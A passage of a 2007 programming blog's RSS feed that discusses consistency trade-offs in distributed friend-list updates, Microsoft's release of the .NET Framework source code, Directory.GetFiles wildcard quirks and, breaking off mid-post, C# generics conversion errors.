&lt;p&gt;
There are a number of options one can consider when availability and high performance
are considered to be more important than data consistency in the above example. Below
are three potential implementations of the code above each with it’s own set of trade
offs. 
&lt;/p&gt;
&lt;p&gt;
OPTION I: Application developer performs manual rollback on error 
&lt;/p&gt;
&lt;blockquote&gt;&lt;code&gt; 
&lt;p&gt;
public void&amp;nbsp;confirm_friend_request_A(user1, user2){
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;try{&lt;br&gt;
&amp;nbsp;&amp;nbsp; update_friend_list(user1, user2, status.confirmed); //palo alto&amp;nbsp;&lt;br&gt;
&amp;nbsp;}catch(exception e){&amp;nbsp;&lt;br&gt;
&amp;nbsp; report_error(e);&amp;nbsp;&lt;br&gt;
&amp;nbsp;&amp;nbsp;return; 
&lt;br&gt;
&amp;nbsp;} 
&lt;p&gt;
&amp;nbsp;try{ 
&lt;br&gt;
&amp;nbsp; update_friend_list(user2, user1, status.confirmed); //london 
&lt;br&gt;
&amp;nbsp;}catch(exception e) {&lt;br&gt;
&amp;nbsp; revert_friend_list(user1, user2); 
&lt;br&gt;
&amp;nbsp; report_error(e); 
&lt;br&gt;
&amp;nbsp; return;&amp;nbsp;&lt;br&gt;
&amp;nbsp;}&lt;br&gt;
&lt;br&gt;
} 
&lt;p&gt;
&lt;/p&gt;
&lt;/code&gt;&lt;/blockquote&gt; 
&lt;p&gt;
The problem here is that we don’t handle the case where revert_friend_list() fails.
This means that Dare (user1) may end up having Torsten (user2) on his friend list
but Torsten won’t have Dare on his friend list. The database has lied. 
&lt;/p&gt;
&lt;p&gt;
OPTION II: Failed events are placed in a message queue to be retried until they succeed.&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
public void&amp;nbsp;confirm_friend_request_B(user1, user2){
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;try{&lt;br&gt;
&amp;nbsp;&amp;nbsp; update_friend_list(user1, user2, status.confirmed); //palo alto&amp;nbsp;&lt;br&gt;
&amp;nbsp;}catch(exception e){&amp;nbsp;&lt;br&gt;
&amp;nbsp; report_error(e);&amp;nbsp;&lt;br&gt;
&amp;nbsp;&amp;nbsp;add_to_retry_queue(operation.updatefriendlist, user1, user2, current_time());&amp;nbsp;&lt;br&gt;
&amp;nbsp;} 
&lt;p&gt;
&amp;nbsp;try{ 
&lt;br&gt;
&amp;nbsp; update_friend_list(user2, user1, status.confirmed); //london 
&lt;br&gt;
&amp;nbsp;}catch(exception e) {&lt;br&gt;
&amp;nbsp; report_error(e);&amp;nbsp;&lt;br&gt;
&amp;nbsp; add_to_retry_queue(operation.updatefriendlist, user2, user1, current_time());&amp;nbsp;&amp;nbsp;&lt;br&gt;
&amp;nbsp;}&lt;br&gt;
&lt;br&gt;
} 
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
Depending on how long the error exists and how long it takes an item to sit in the
message queue, there will be times when the Dare (user1) may end up having Torsten
(user2) on his friend list but Torsten won’t have Dare on his friend list. The database
has lied, again.
&lt;/p&gt;
&lt;p&gt;
OPTION III: System always accepts updates but application developers may have to resolve
data conflicts later. (The Dynamo approach) 
&lt;/p&gt;
&lt;blockquote&gt;&lt;code&gt; 
&lt;p&gt;
&lt;font color=#008000&gt;/* update_friend_list always succeeds but may enqueue an item
in message queue to try again later in the event of failure. This failure is not propagated
to callers of the method. &amp;nbsp;*/&lt;/font&gt; 
&lt;br&gt;
&lt;p&gt;
public void&amp;nbsp;confirm_friend_request_C(user1, user2){&lt;br&gt;
&amp;nbsp;&amp;nbsp; update_friend_list(user1, user2, status.confirmed); //&amp;nbsp;palo alto&lt;br&gt;
&amp;nbsp;&amp;nbsp; update_friend_list(user2, user1, status.confirmed); //london&amp;nbsp;
&lt;/p&gt;
}&lt;br&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;font color=#008000&gt;/* get_friends() method has to reconcile results returned by get_friends()
because there may be data inconsistency due to a conflict because a change that was
applied from the message queue is&amp;nbsp;contradictory to a subsequent change by the
user.&amp;nbsp;&amp;nbsp;In this case, status is a bitflag where all conflicts are merged
and it is up to app developer to figure out what to do. */&lt;/font&gt;&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp; public list get_friends(user1){&amp;nbsp;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; list actual_friends = new list();&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; list&amp;nbsp;friends = get_friends();&amp;nbsp;&amp;nbsp; 
&lt;p&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; foreach (friend in friends){&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(friend.status == friendstatus.confirmed){ &lt;font color=#008000&gt;//no
conflict&lt;/font&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; actual_friends.add(friend); 
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }else if((friend.status &amp;amp;= friendstatus.confirmed)&amp;nbsp;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
and !(friend.status &amp;amp;= friendstatus.deleted)){ 
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color=#008000&gt;&amp;nbsp; // assume
friend is confirmed as long as it wasn’t also deleted&lt;br&gt;
&lt;/font&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; friend.status = friendstatus.confirmed;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; actual_friends.add(friend);&amp;nbsp;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;update_friends_list(user1,
friend, status.confirmed);
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }else{ &lt;font color=#008000&gt;//assume deleted
if there is a conflict with a delete&lt;/font&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; update_friends_list( user1,
friend, status.deleted)&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } 
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }//foreach
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;&amp;nbsp; return actual_friends;&lt;br&gt;
}
&lt;/p&gt;
&lt;/code&gt;&lt;/blockquote&gt; 
&lt;p&gt;
These are just a few of the many approaches that can be implemented in such a distributed
system to get around the performance and availability implications of using distributed
transactions. The main problem with them is that in every single case, the application
developer has an extra burden placed on his shoulders due to inherent fragility of
distributed systems.&amp;nbsp;For a lot of developers, the shock of this realization is
akin to the shock of programming in C++ after using C# or Ruby for a&amp;nbsp;couple of
years. Manual memory management? Actually having to perform bounds checking arrays?&amp;nbsp;Being
unable to use decades old technology like database transactions? 
&lt;/p&gt;
&lt;p&gt;
The challenge in building a distributed storage system like &lt;a href="http://labs.google.com/papers/bigtable.html"&gt;BigTable&lt;/a&gt; or &lt;a href="http://allthingsdistributed.com/2007/10/amazons_dynamo.html"&gt;Dynamo&lt;/a&gt;&amp;nbsp;is
in balancing the need for high availability and performance while not building a system
that encourages all sorts of insidious bugs to exist in the system &lt;em&gt;by design&lt;/em&gt;.&amp;nbsp;
Some might argue that &lt;a href="http://allthingsdistributed.com/2007/10/amazons_dynamo.html"&gt;Dynamo&lt;/a&gt;&amp;nbsp;goes
to far in the burden that it places on developers while there are others that would
argue that it doesn’t go far enough. 
&lt;/p&gt;
&lt;p&gt;
In what camp do you fall? 
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;Now playing:&lt;/strong&gt; &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=R. Kelly"&gt;R.
Kelly&lt;/a&gt; - &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=Rock Star (feat. Ludacris &amp;amp; Kid Rock)&amp;amp;artistTerm=R. Kelly"&gt;Rock
Star (feat. Ludacris &amp;amp; Kid Rock)&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=4fc797a1-5631-4192-85e9-9f8467acd025" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,4fc797a1-5631-4192-85e9-9f8467acd025.aspx</comments>
      <category>Platforms</category>
      <category>Programming</category>
      <category>Web Development</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=a7c55826-e383-4bd7-aafa-1b862caacf80</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,a7c55826-e383-4bd7-aafa-1b862caacf80.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,a7c55826-e383-4bd7-aafa-1b862caacf80.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=a7c55826-e383-4bd7-aafa-1b862caacf80</wfw:commentRss>
      <slash:comments>9</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
        </p>
        <p>
Scott Guthrie has a blog post entitled <a href="http://weblogs.asp.net/scottgu/archive/2007/10/03/releasing-the-source-code-for-the-net-framework-libraries.aspx">Releasing
the Source Code for the .NET Framework Libraries</a> where he writes 
</p>
        <blockquote dir="ltr" style="MARGIN-RIGHT: 0px">
          <font face="arial" size="2">
            <p>
One of the things my team has been working to enable has been the ability for
.NET developers to download and browse the source code of the .NET Framework libraries,
and to easily enable debugging support in them.
</p>
            <p>
Today I'm excited to announce that we'll be providing this with the .NET 3.5 and VS
2008 release later this year.
</p>
            <p>
We'll begin by offering the source code (with source file comments included) for
the .NET Base Class Libraries (System, System.IO, System.Collections, System.Configuration,
System.Threading, System.Net, System.Security, System.Runtime, System.Text, etc),
ASP.NET (System.Web), Windows Forms (System.Windows.Forms), ADO.NET (System.Data),
XML (System.Xml), and WPF (System.Windows).  We'll then be adding more libraries
in the months ahead (including WCF, Workflow, and LINQ).  The source code will
be released under the <a href="http://www.microsoft.com/resources/sharedsource/licensingbasics/referencelicense.mspx" target="_blank">Microsoft
Reference License</a> (MS-RL).
</p>
          </font>
        </blockquote>
        <p>
This is one of those announcements I find hard to get excited about. Any developer
who’s been frustrated by the weird behavior of a .NET Framework class and has wanted
to look at it’s code, should already know about <a href="http://www.aisto.com/roeder/dotnet/">Lutz
Roeder’s Reflector</a> which is <a href="http://www.hanselman.com/blog/Reflector5ReleasedWorldDominationAssured.aspx">well
known in the .NET devoper community</a>. So I’m not sure who this anouncement is actually
intended to benefit. 
</p>
        <p>
On the other hand, I’m sure Java developers are having a chuckle at our expense that
it took this long for Microsoft to allow developers to see the source code for <a href="http://msdn2.microsoft.com/en-us/library/7zkh13cf(VS.71).aspx">ArrayList.Count</a> so
we can determine if it is lazily or eagerly evaluated. 
</p>
        <p>
Oh well, better late than never. 
</p>
        <p>
          <strong>PS:</strong> The ability to debug into .NET Framework classes will be nice. I’ve
wanted this more than once while working on <a href="http://www.rssbandit/">RSS
Bandit</a> and will definitely take advantage of it if I ever get around to installing
VS 2008. 
</p>
        <p>
          <strong>Now playing:</strong>
          <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=TLC">TLC</a> - <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=Somethin Wicked This Way Comes (feat. Andre 3000)&amp;artistTerm=TLC">Somethin
Wicked This Way Comes (feat. Andre 3000)</a></p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=a7c55826-e383-4bd7-aafa-1b862caacf80" />
      </body>
      <title>On the Release of the Source Code of the .NET Framework Libraries </title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,a7c55826-e383-4bd7-aafa-1b862caacf80.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2007/10/05/OnTheReleaseOfTheSourceCodeOfTheNETFrameworkLibraries.aspx</link>
      <pubDate>Fri, 05 Oct 2007 03:00:02 GMT</pubDate>
      <description>&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
Scott Guthrie has a blog post entitled &lt;a href="http://weblogs.asp.net/scottgu/archive/2007/10/03/releasing-the-source-code-for-the-net-framework-libraries.aspx"&gt;Releasing
the Source Code for the .NET Framework Libraries&lt;/a&gt; where he writes 
&lt;/p&gt;
&lt;blockquote dir=ltr style="MARGIN-RIGHT: 0px"&gt;&lt;font face=arial size=2&gt; 
&lt;p&gt;
One of the things my team has been&amp;nbsp;working to enable has been the ability for
.NET developers to download and browse the source code of the .NET Framework libraries,
and to easily enable debugging support in them.
&lt;/p&gt;
&lt;p&gt;
Today I'm excited to announce that we'll be providing this with the .NET 3.5 and VS
2008 release later this year.
&lt;/p&gt;
&lt;p&gt;
We'll begin by offering the source code (with source file comments included)&amp;nbsp;for
the .NET Base Class Libraries (System, System.IO, System.Collections, System.Configuration,
System.Threading, System.Net, System.Security, System.Runtime,&amp;nbsp;System.Text, etc),
ASP.NET (System.Web), Windows Forms (System.Windows.Forms), ADO.NET (System.Data),
XML (System.Xml), and WPF (System.Windows).&amp;nbsp; We'll then be adding more libraries
in the months ahead (including WCF, Workflow, and LINQ).&amp;nbsp; The source code will
be released under the &lt;a href="http://www.microsoft.com/resources/sharedsource/licensingbasics/referencelicense.mspx" target=_blank&gt;Microsoft
Reference License&lt;/a&gt; (MS-RL).
&lt;/p&gt;
&lt;/font&gt;&lt;/blockquote&gt; 
&lt;p&gt;
This is one of those announcements I find hard to get excited about.&amp;nbsp;Any developer
who’s been frustrated by the weird behavior of a .NET Framework class and has wanted
to look at it’s code, should already know about &lt;a href="http://www.aisto.com/roeder/dotnet/"&gt;Lutz
Roeder’s Reflector&lt;/a&gt;&amp;nbsp;which is &lt;a href="http://www.hanselman.com/blog/Reflector5ReleasedWorldDominationAssured.aspx"&gt;well
known in the .NET devoper community&lt;/a&gt;. So I’m not sure who this anouncement is actually
intended to benefit. 
&lt;/p&gt;
&lt;p&gt;
On the other hand, I’m sure Java developers are having a chuckle at our expense that
it took this long for Microsoft to allow developers to see the source code for &lt;a href="http://msdn2.microsoft.com/en-us/library/7zkh13cf(VS.71).aspx"&gt;ArrayList.Count&lt;/a&gt; so
we can determine if it is lazily or eagerly evaluated. 
&lt;/p&gt;
&lt;p&gt;
Oh well, better late than never. 
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;PS:&lt;/strong&gt; The ability to debug into .NET Framework classes will be nice.&amp;nbsp;I’ve
wanted this more than once while working on&amp;nbsp;&lt;a href="http://www.rssbandit/"&gt;RSS
Bandit&lt;/a&gt; and will definitely take advantage of it if I ever get around to installing
VS 2008. 
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;Now playing:&lt;/strong&gt; &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=TLC"&gt;TLC&lt;/a&gt; - &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=Somethin Wicked This Way Comes (feat. Andre 3000)&amp;amp;artistTerm=TLC"&gt;Somethin
Wicked This Way Comes (feat. Andre 3000)&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=a7c55826-e383-4bd7-aafa-1b862caacf80" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,a7c55826-e383-4bd7-aafa-1b862caacf80.aspx</comments>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=f11fcc5d-e687-49f2-9b2a-f11f74889a02</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,f11fcc5d-e687-49f2-9b2a-f11f74889a02.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,f11fcc5d-e687-49f2-9b2a-f11f74889a02.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=f11fcc5d-e687-49f2-9b2a-f11f74889a02</wfw:commentRss>
      <slash:comments>4</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
From the documentation for <a href="http://msdn2.microsoft.com/en-us/library/wz42302f.aspx">Directory.GetFiles
Method (String, String)</a></p>
        <blockquote>When using the asterisk wildcard character in a <span class="parameter">searchPattern</span>,
such as "*.txt", <font color="#ff0000">the matching behavior when the extension is
exactly three characters long is different than when the extension is more or less
than three characters long.</font> A <span class="parameter">searchPattern</span> with
a file extension of exactly three characters returns files having an extension of
three or more characters, where the first three characters match the file extension
specified in the <span class="parameter">searchPattern</span>. A <span class="parameter">searchPattern</span> with
a file extension of one, two, or more than three characters returns only files having
extensions of exactly that length that match the file extension specified in the <span class="parameter">searchPattern</span>. </blockquote>
        <p>
I realize this behavior is probably well known to Windows developers, but seriously,
WTF? How do I match on three character file extensions (i.e. the majority of file
extensions) without getting cruft as well (e.g. matching on .cpp files without getting
Emacs backups with .cpp~ file extensions)? 
</p>
        <p>
          <strong>Now playing:</strong>
          <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Mystikal">Mystikal</a> - <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=I Smell Smoke&amp;artistTerm=Mystikal">I
Smell Smoke</a></p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=f11fcc5d-e687-49f2-9b2a-f11f74889a02" />
      </body>
      <title>If You Document It, It's No Longer a Bug</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,f11fcc5d-e687-49f2-9b2a-f11f74889a02.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2007/09/11/IfYouDocumentItItsNoLongerABug.aspx</link>
      <pubDate>Tue, 11 Sep 2007 03:00:11 GMT</pubDate>
      <description>&lt;p&gt;
From the documentation for &lt;a href="http://msdn2.microsoft.com/en-us/library/wz42302f.aspx"&gt;Directory.GetFiles
Method (String, String)&lt;/a&gt;
&lt;/p&gt;
&lt;blockquote&gt;When using the asterisk wildcard character in a &lt;span class=parameter&gt;searchPattern&lt;/span&gt;,
such as "*.txt", &lt;font color=#ff0000&gt;the matching behavior when the extension is exactly
three characters long is different than when the extension is more or less than three
characters long.&lt;/font&gt; A &lt;span class=parameter&gt;searchPattern&lt;/span&gt; with a file extension
of exactly three characters returns files having an extension of three or more characters,
where the first three characters match the file extension specified in the &lt;span class=parameter&gt;searchPattern&lt;/span&gt;.
A &lt;span class=parameter&gt;searchPattern&lt;/span&gt; with a file extension of one, two, or
more than three characters returns only files having extensions of exactly that length
that match the file extension specified in the &lt;span class=parameter&gt;searchPattern&lt;/span&gt;. &lt;/blockquote&gt; 
&lt;p&gt;
I realize this behavior is probably well known to Windows developers, but seriously,
WTF? How do I match on three character file extensions (i.e. the majority of file
extensions) without getting cruft as well (e.g. matching on .cpp files without getting
Emacs backups with .cpp~ file extensions)? 
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;Now playing:&lt;/strong&gt; &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Mystikal"&gt;Mystikal&lt;/a&gt; - &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=I Smell Smoke&amp;amp;artistTerm=Mystikal"&gt;I
Smell Smoke&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=f11fcc5d-e687-49f2-9b2a-f11f74889a02" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,f11fcc5d-e687-49f2-9b2a-f11f74889a02.aspx</comments>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=af7aa888-a227-454c-8687-71fa77186064</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,af7aa888-a227-454c-8687-71fa77186064.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,af7aa888-a227-454c-8687-71fa77186064.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=af7aa888-a227-454c-8687-71fa77186064</wfw:commentRss>
      <slash:comments>12</slash:comments>
      <title>C# Generics: Implicit Type Conversion Hell</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,af7aa888-a227-454c-8687-71fa77186064.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2007/08/09/CGenericsImplicitTypeConversionHell.aspx</link>
      <pubDate>Thu, 09 Aug 2007 09:46:53 GMT</pubDate>
      <description>&lt;p&gt;
This weekend, I finally decided to step into the 21&lt;sup&gt;st&lt;/sup&gt; century and began
the process of migrating &lt;a href="http://www.rssbandit.org"&gt;RSS Bandit&lt;/a&gt; to v2.0
of the .NET Framework. In addition, we've also moved our source code repository from &lt;a href="http://en.wikipedia.org/wiki/Concurrent_Versions_System"&gt;CVS&lt;/a&gt; to &lt;a href="http://subversion.tigris.org/"&gt;Subversion&lt;/a&gt; and
so far it's already been a marked improvement. Since the .NET Framework is currently
on v3.0 and v3.5 is in beta 1, I'm fairly out of date when it comes to the pet peeves
in my favorite programming tools. At least one of my pet peeves was fixed, in Visual
Studio 2005 I finally have an IDE where "Find References to this Method" actually
works. On the flip side, the introduction of &lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#generics"&gt;generics&lt;/a&gt; has
added a lot more frustrating moments than I expected. By now most .NET developers
have seen the dreaded 
&lt;/p&gt;
&lt;blockquote&gt;&lt;i&gt; Cannot convert from 'System.Collections.Generic.List&lt;/i&gt;&lt;i&gt;&amp;lt;subtype
of T&amp;gt; to 'System.Collections.Generic.List&amp;lt;T&amp;gt;&lt;/i&gt;&lt;i&gt;'&lt;/i&gt; &lt;/blockquote&gt; 
&lt;p&gt;
For those of you who aren't familiar with C# 2.0, here are examples of code that works
and code that &lt;b&gt;doesn't&lt;/b&gt; work. The difference is often subtle enough to be quite
irritating when you first encounter it. 
&lt;/p&gt;
&lt;font color="#006400"&gt;&lt;b&gt;WORKS! - Array[subtype of T]&amp;nbsp; implicitly casted to Array[T]&lt;/b&gt;&lt;/font&gt; 
&lt;p&gt;
&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;using&lt;/span&gt; System;&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;using&lt;/span&gt; Cybertron.Transformers;&lt;br&gt;
&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;class&lt;/span&gt; TransformersTest{&lt;br&gt;
&lt;br&gt;
&amp;nbsp; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;static&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;void&lt;/span&gt; GetReadyForBattle(Transformer[]
robots){&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
foreach&lt;/span&gt;(Transformer bot &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;in&lt;/span&gt; robots){&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp; if&lt;/span&gt;(!bot.InRobotMode) 
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; bot.Transform();&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;
&amp;nbsp; }&lt;br&gt;
&lt;br&gt;
&amp;nbsp; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;static&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;void&lt;/span&gt; Main(&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;string&lt;/span&gt;[]
args){&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Autobot OptimusPrime &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; Autobot(); 
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Autobot[] autobots &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; Autobot[1];&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; autobots[0] &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; OptimusPrime; 
&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Decepticon Megatron &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; Decepticon(); 
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Decepticon[] decepticons &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; Decepticon[1];&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; decepticons[0] &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; Megatron;&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; GetReadyForBattle(decepticons); 
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; GetReadyForBattle(autobots); 
&lt;br&gt;
&lt;br&gt;
&amp;nbsp; }&lt;br&gt;
}&lt;br&gt;
&lt;br&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;b&gt;&lt;font color="#ff0000"&gt; DOESN'T WORK - List&amp;lt;subtype of T&amp;gt; implicitly casted
